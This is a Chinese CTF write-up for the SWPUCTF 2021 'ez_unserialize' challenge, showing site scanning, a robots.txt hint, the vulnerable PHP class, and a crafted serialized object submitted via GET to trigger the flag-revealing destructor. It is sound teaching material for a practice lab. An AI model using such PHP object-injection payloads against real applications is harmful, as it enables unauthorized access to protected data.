[SWPUCTF 2021 新生赛]ez_unserialize

打开网站未发现有啥可用的线索
image.png
对网站直接扫描
image.png
得到一个robots.txt目录
robots协议:爬虫协议,没有强制执行力
直接访问目录
image.png得到提示

User-agent: *
Disallow: /cl45s.php

跟进发现是php反序列化应用
image.png
根据代码构造php序列化对象


<?php
  error_reporting(0);
show_source("cl45s.php");

class wllm{

  public $admin;
  public $passwd;

  public function __construct(){
    $this->admin ="user";
    $this->passwd = "123456";
  }

  public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "ctf"){
      include("flag.php");
      echo $flag;
    }else{
      echo $this->admin;
      echo $this->passwd;
      echo "Just a bit more!";
    }
  }
}
$a=new wllm();
$a->admin = "admin";
$a->passwd = "ctf";
$s=serialize($a);
echo $s.'<br>';
// $p = $_GET['p'];
$p=$s;
unserialize($p);
echo '<br>'.$p.'<br>';
?>

运行得到结果:

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

将结果直接通过get请求提交即可得到flag
image.png

相关推荐

  1. [SWPUCTF 2021 新生]PseudoProtocols

    2024-07-14 03:34:02       46 阅读
  2. [SWPUCTF 2021 新生]no_wakeup

    2024-07-14 03:34:02       47 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-14 03:34:02       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-14 03:34:02       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-14 03:34:02       58 阅读
  4. Python语言-面向对象

    2024-07-14 03:34:02       69 阅读

热门阅读

  1. 高项-信息化发展知识要点

    2024-07-14 03:34:02       18 阅读
  2. 什么是开放最短路径优先(OSPF)

    2024-07-14 03:34:02       17 阅读
  3. 【YashanDB知识库】yasql登录报错:YAS-00413

    2024-07-14 03:34:02       19 阅读
  4. ABB 1786-RPA控制器 处理器 模块

    2024-07-14 03:34:02       18 阅读
  5. 【云原生】Kubernetes----ETCD数据的备份与恢复

    2024-07-14 03:34:02       17 阅读
  6. 【监控】监控平台部署 Prometheus+Grafana

    2024-07-14 03:34:02       23 阅读
  7. 数据库系统概论——数据库原理 总结1

    2024-07-14 03:34:02       22 阅读
  8. git 如何查看 commit 77062497

    2024-07-14 03:34:02       17 阅读